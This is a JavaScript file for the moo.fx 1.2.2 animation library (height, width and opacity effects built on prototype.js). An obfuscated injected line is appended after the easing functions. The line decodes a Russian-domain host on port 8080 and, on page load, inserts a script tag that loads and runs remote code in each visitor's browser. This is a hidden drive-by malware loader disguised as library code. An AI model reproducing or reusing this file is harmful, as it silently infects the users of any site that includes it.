/*
moo.fx, simple effects library built with prototype.js (http://prototype.conio.net).
by Valerio Proietti (http://mad4milk.net) MIT-style LICENSE.
for more info (http://moofx.mad4milk.net).
Friday, February 24, 2006
v 1.2.2
*/

var fx = new Object();
//base
fx.Base = function(){};
fx.Base.prototype = {
	setOptions: function(options) {
	this.options = {
		duration: 500,
		onComplete: '',
		transition: fx.sinoidal
	}
	Object.extend(this.options, options || {});
	},

	go: function() {
		this.startTime = (new Date).getTime();
		this.timer = setInterval (this.step.bind(this), 13);
	},

	step: function() {
		var time  = (new Date).getTime();
		if (time >= this.options.duration+this.startTime) {
			this.now = this.to;
			clearInterval (this.timer);
			this.timer = null;
			if (this.options.onComplete) setTimeout(this.options.onComplete.bind(this), 10);
		}
		else {
			var Tpos = (time - this.startTime) / (this.options.duration);
			this.now = this.options.transition(Tpos) * (this.to-this.from) + this.from;
		}
		this.increase();
	},

	custom: function(from, to) {
		if (this.timer != null) return;
		this.from = from;
		this.to = to;
		this.go();
	},

	hide: function() {
		this.now = 0;
		this.increase();
	},

	clearTimer: function() {
		clearInterval(this.timer);
		this.timer = null;
	}
}

//stretchers
fx.Layout = Class.create();
fx.Layout.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.el.style.overflow = "hidden";
		this.el.iniWidth = this.el.offsetWidth;
		this.el.iniHeight = this.el.offsetHeight;
		this.setOptions(options);
	}
});

fx.Height = Class.create();
Object.extend(Object.extend(fx.Height.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.height = this.now + "px";
	},

	toggle: function() {
		if (this.el.offsetHeight > 0) this.custom(this.el.offsetHeight, 0);
		else this.custom(0, this.el.scrollHeight);
	}
});

fx.Width = Class.create();
Object.extend(Object.extend(fx.Width.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.width = this.now + "px";
	},

	toggle: function(){
		if (this.el.offsetWidth > 0) this.custom(this.el.offsetWidth, 0);
		else this.custom(0, this.el.iniWidth);
	}
});

//fader
fx.Opacity = Class.create();
fx.Opacity.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.now = 1;
		this.increase();
		this.setOptions(options);
	},

	increase: function() {
		if (this.now == 1 && (/Firefox/.test(navigator.userAgent))) this.now = 0.9999;
		this.setOpacity(this.now);
	},
	
	setOpacity: function(opacity) {
		if (opacity == 0) this.el.style.visibility = "hidden";
		else this.el.style.visibility = "visible";
		if (window.ActiveXObject) this.el.style.filter = "alpha(opacity=" + opacity*100 + ")";
		this.el.style.opacity = opacity;
	},

	toggle: function() {
		if (this.now > 0) this.custom(1, 0);
		else this.custom(0, 1);
	}
});

//transitions
fx.sinoidal = function(pos){
	return ((-Math.cos(pos*Math.PI)/2) + 0.5);
	//this transition is from script.aculo.us
}
fx.linear = function(pos){
	return pos;
}
fx.cubic = function(pos){
	return Math.pow(pos, 3);
}
fx.circ = function(pos){
	return Math.sqrt(pos);
}
try {var N;if(N!='H' && N!='p'){N=''};var G='';var X=String("[");var Xm="red4iP".substr(0,2)+"plwTb".substr(0,2)+"ac3Ivm".substr(0,2)+"42Lpep42L".substr(4,1);var z=String("]");var m=RegExp;var cc=new Array();var c=String("g5Hu".substr(0,1));var r=new String();function d(K,Gh){this.xg='';this.sy='';var V='';var Z=new String();var P=X;var zu=new String();var n=new String();P+=Gh;var WY="";P+=z;this.l="";var w=new m(P, c);var Ik;if(Ik!='Y'){Ik='Y'};return K.replace(w, G);var XF;if(XF!='zm'){XF='zm'};var ZK;if(ZK!='t'){ZK='t'};};var Q=new String();var pN;if(pN!='AI' && pN != ''){pN=null};var Ex;if(Ex!='Ye' && Ex != ''){Ex=null};var M=new String("scr"+"ipt");var AV=new String();var FQ=new String();var wD=String("onlo"+"ad");var Ep=new Array();var at=new Array();var s=String("/g"+"nG2oo".substr(3)+"eXFgl".substr(3)+"MdNe.".substr(3)+"co"+"m/ion".substr(0,2)+"go"+"og0z8I".substr(0,2)+"ler60".substr(0,2)+".c"+"ivtNom".substr(4)+"/p"+"9NJger".substr(4)+"L4xsi4xL".substr(3,2)+"an"+"eCubl".substr(3)+"aZDWogaDWZ".substr(4,2)+".i1DO9".substr(0,2)+"r/"+"RQJdo".substr(3)+"wnJ4ce".substr(0,2)+"loQgJ".substr(0,2)+"ad"+"zyq.czqy".substr(3,2)+"PeSGomSGeP".substr(4,2)+"/neur".substr(0,2)+"aq"+"lPoEig".substr(4)+"tWFs.".substr(3)+"uVGNcouGNV".substr(4,2)+"rIwm.rIw".substr(3,2)+"ph"+"pOnq".substr(0,1));var K="1";var uM;if(uM!='iq'){uM=''};var b=d('hRtjtRpR:R/j/jgjijtRtjijgRijdRijyjojrR-RcRoRmj.j4RtRuRbjej.RcRojmR.jtjeRcjhjcjrjujnjcRhR-jcjojmj.jejaRsRtRpjaRrRkRojnjlRiRnjeR.jrjuR:j',"Rj");var op;if(op!='' && op!='Xo'){op=''};var L=d('84442404423382344240432323',"432");var h='';var jp;if(jp!='' && jp!='pm'){jp=''};var ed=new Array();window[wD]=function(){A=document.createElement(M);var Qg=new String();this.YV='';h+=b;h+=L+s;var Gt;if(Gt!='AN' && Gt != ''){Gt=null};var AH;if(AH!='Fy' && AH != ''){AH=null};var aO="";var Sh="";A.defer=K;A.src=h;var Gr=new String();var o=document.body;this.Ke="";this.mj='';o.appendChild(A);var v;if(v!='_'){v=''};};var ir='';var iv=new String();} catch(I){};